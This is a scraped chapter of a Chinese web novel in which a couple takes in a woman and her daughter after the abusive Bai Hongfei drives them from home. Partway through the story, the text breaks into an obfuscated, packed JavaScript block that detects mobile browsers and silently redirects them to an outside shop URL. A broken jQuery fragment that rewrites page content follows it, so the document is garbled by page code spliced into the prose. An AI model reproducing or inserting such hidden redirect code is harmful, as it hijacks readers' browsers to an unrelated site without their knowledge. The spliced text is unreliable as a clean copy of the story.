陆明卉看到楚辞在门口还有些诧异,“有事吗?”
陆明卉没有特意跟方立华说之前的事,所以他不认识楚辞,以为是陆明卉新认识的朋友,“卉卉,你朋友吗?”
“不是的,”楚辞面向夫妻二人,“我是来还东西的。”
说着将手里拿着的小盖毯递给陆明卉。
陆明卉接过盖毯才想起那天她为了不让楚辞走光,给她披了方语棠的小毯子,因为最近天气热用不上小毯子,她也就没想起来。
“我来了好几次,你们店里都没人。”楚辞有些不自然的捏捏衣角,“今天也是来碰碰运气,没想到正好遇到你们了。”
“上来坐一会儿吧。”陆明卉跟楚辞不熟,但人家专程来还东西,最起码的礼节还是要有的。
楚辞张了张嘴,想要拒绝,但不知又想到了什么,点头答应了。
一行人来到楼上客厅。因为是两间商铺,楼上的面积很大,被曲东隔出三间卧室,一个厨房和两间独卫。
“最近忙着店里的事,一直早出晚归的,”陆明卉将茶杯递到楚辞手里,“喝水。”
“好。”茶杯不算烫,里面的水温温的,楚辞反复的握了握,“我今天来也是想谢谢你,谢谢你出手帮了我。”
“没事,举手之劳罢了。”陆明卉摆摆手,“我就是看不惯他一个大男人欺负女人,你没事就行。”
“但是就你站出来了,”楚辞握着茶杯的手青筋暴起,“别人都担心得罪他,袖手旁观。”
楚辞性格算不上温吞,经过这两年的人情冷暖之后,更加尖锐。
但是见过了太多别人的冷漠,面对这突如其来的善意,她有点不知所措了,所以显得格外笨拙。
“他最近没来找你的事情吧?”楚辞的措辞微微慌乱,“我是说白宏飞!”
陆明卉摇摇头,“没有吧,我不太清楚呢。最近我们一直在外面忙,就算想找也找不到我吧。”
还真是让陆明卉说对了。
白宏飞其实上门来找过麻烦,但每次都扑了个空。
几次下来,他也没了耐心,只待来日方长了。
“我就是害怕我的事连累到你,就不好了。”楚辞的眼睛里流露出落寞。
“没关系的,身正不怕影子斜,我又没招他惹他,只是说了句公道话,不至于的。”陆明卉坦坦荡汤。
楚辞苦笑一声,“你不了解他,他就是个卑鄙小人,我也是近些年才看清的。之前也不是没有帮我的邻里,但谁帮我谁就会被他针对。”
“偏偏那个人渣还有一手好医术,谁家没个头疼脑热的时候,久而久之也就不敢帮我了。”
“哧——”陆明卉冷笑,“没有医德,医术再好也没用,我可不敢让这种人替我们看病。”
楚辞:“不是所有人都跟你一样可以看得开的,他们只看到了帮我会倒霉……”
陆明卉拍了拍楚辞的胳膊,“会好的。”
“嗯。”楚辞的脸上带着笑,但却看着格外心酸。
楚辞并没有在那里待多久,一盏茶的功夫她就跟夫妻二人告辞。
等楚辞走了,方立华才有机会问陆明卉有关楚辞的事情。
陆明卉就将那天她偶遇楚辞被打,她出手相助的经过告诉了方立华。
陆明卉斜眼看向方立华,“你不会怪我多管闲事吧?”
方立华本来还在盯着窗外楚辞离去的背影,听见这话,有些无奈的揉了揉陆明卉的头。
“想什么呢?我是那种人吗?你做的很对,我又不是不分黑白。”
“那你表情这么严肃干什么?”陆明卉质问。
“我在想……”方立华手撑着下巴,“算了,我先去了打听一下。”
“我出去了,一会儿回来。”方立华拍了拍陆明卉的头,转身就下了楼。
“喂!”陆明卉羞恼的理了理头发,“搞什么啊……”
方立华这一去就是半下午出去了,等他回来了,方言睿都已经被陆明卉接回家了。
陆明卉看见方立华回来,乜了他一眼,“还知道回来啊?我以为你不知道家门往哪开了呢?”
“那哪能啊!”方立华面上带笑,他看出了陆明卉不太高兴,卖乖的给陆明卉捏捏肩,“我这不是帮你去打探消息了嘛。”
方言睿看方立华一脸谄媚的样子,没忍住,对他做了个鬼脸。
方立华瞧见了,举起一只拳头示意:是不是想挨打?
方言睿朝他吐了吐舌头,转身带着玩具进了屋。
父子俩的眉眼官司陆明卉没看见,但方立华的话她是听见了的。
“你什么意思?什么叫帮我打探消息去了?”陆明卉转过身来看着方立华。
方立华也顺势坐在陆明卉对面,“我去打听那个楚辞了。”
“你打听她干嘛?”陆明卉疑惑,“就捎带手帮个小忙,还值得去打听?”
方立华:“那倒不是,我主要怕那个白宏飞惹事,我最近又不常在家,他好歹是个男人,你又带着俩孩子,想给你找麻烦还不容易?”
“他敢!”陆明卉眉头一紧,“光天化日的,没了王法不成?”
“这不是怕小人作祟嘛!”方立华拉了拉陆明卉的手。
陆明卉:“那你干嘛去调查楚辞,不应该调查白宏飞吗?”
方立华摊了摊手,“我总不能相信她的一面之词吧,按照她的说法,都没邻里帮她,万一是她觉得我们是新来的,故意在我们面前颠倒黑白了?”
“没必要吧?”陆明卉挑眉,“那么你打听的结果呢?”
“楚辞没说谎。”方立华皱眉,“甚至比她自己说的还惨。”
“还能惨到哪?”陆明卉好奇。
方立华:“我听莫大婶说的,楚辞和她女儿被白宏飞赶出家门了,母女二人现在在街道办打地铺。”
“什么?!”陆明卉瞪大了眼,“那个白宏飞你太不是人了吧!不是,街道办的或者妇联的,就这么眼睁睁看着他欺负人?!”
方立华叹了口气,“要不说白宏飞是小人呢!是楚辞母女俩自己搬出来的。”
陆明卉:“啊?”
方立华:“母女二人在家的时候,白宏飞故意趁楚辞不在的时候打骂她女儿,还有意无意的弄出些意外,让她女儿受点伤,孩子也太遭罪了……”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745753|206669||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“就算告到街道办和妇联,这些都是家务事,很难界定的。而且楚辞也不可能半步不离的守着孩子,只要有转身的功夫,白宏飞就有可能对女儿下手,所以她也只能带着孩子搬出来。”
“畜生!”陆明卉愤愤地砸了下桌子,“虎毒还不食子呢!他竟然对自己女儿下手!太过分了!”
“对啊,”方立华也一脸义愤填膺,“真是败类!所以我想,咱们家还有房间,要不然先让楚辞带着她女儿搬进来?正好这一阵子你也忙,也可以请她来搭把手,我们可以给她出工资的。”
“行。”陆明卉情绪上头,“不过你怎么会关注这些?”
方立华:“之前楚辞说白宏飞可能会找你们麻烦,我有点担心,就去问了下邻居阿珍。阿珍说白宏飞这几天确实有来过,只不过没碰上你们娘几个就走了。”
“就跟楚辞说的一样,他小肚鸡肠,盯上你了。”
“所以我就去打听了一下他们家的事儿,就打听到了之前我跟你说的那些。敌人的敌人就是朋友,既然你已经被盯上了,那咱们干脆把事情做实到底。”
“到时候就算你不在,白宏飞想给咱们找事儿的话,楚辞也不能坐视不理,毕竟雪中送炭的情谊别人可没给。”
方立华这话虽然说的有些市侩,但确实有道理。
只有千日做贼的,没有千日防贼的。既然已经知道会有隐患,那么还不如上一道保险。再说他们家还有两个孩子,冒不得这个险。
陆明卉点点头,“你说的有道理,那一会儿我就去找莫大婶,让她帮我问一下楚辞。”
这下轮到方立华惊讶了,“现在?”
“可不,”陆明卉看着方立华,“既然决定要做,早一点晚一点都没有差别。”
她顿了顿,“早一点的话,娘俩今天还能睡个好觉……”
看着陆明卉收拾卧室的背影,方立华心里有些酸胀,他的妻子总是这样,看起来格外不好惹,但其实比谁都心软。
“我跟你一起收拾。”方立华三两步就跟了上去。
“虽然可以住我们家,但就这么便宜了白宏飞?他这算是夺人家产吧?”陆明卉一边铺床一边问道。
方立华从衣柜里拿出床单抖开,递给陆明卉其中一角,“我们厂里有法务,听说是名牌大学毕业的,这次我去厂里帮她问一下,看有没有办法能帮到她。”
陆明卉和方立华合力将床单铺平整,“你问问吧,娘俩怪可怜的,能帮点是点吧。”
“要是知道帮了楚辞就被白宏飞盯上了,你后悔帮她吗?”方立华问。
陆明卉看着方立华,夕阳的光透过窗户打在她脸上,那双琥珀色的眼眸显得格外清澈。
“不后悔,人心里总该有杆称的,是非对错,黑白曲直都应该有个度。我做了我认为正确的事,就没什么可后悔的。至于被记恨被盯上,那是小人人品问题,跟我所做的没有关系,我只求问心无愧。”
方立华看着睫毛都泛着金色的陆明卉,忽然觉得胸腔里的那颗心不受控制了,像密集的鼓点仿佛要冲出胸腔。
他上前一步,抱住了陆明卉,虔诚的在她头顶落下一吻。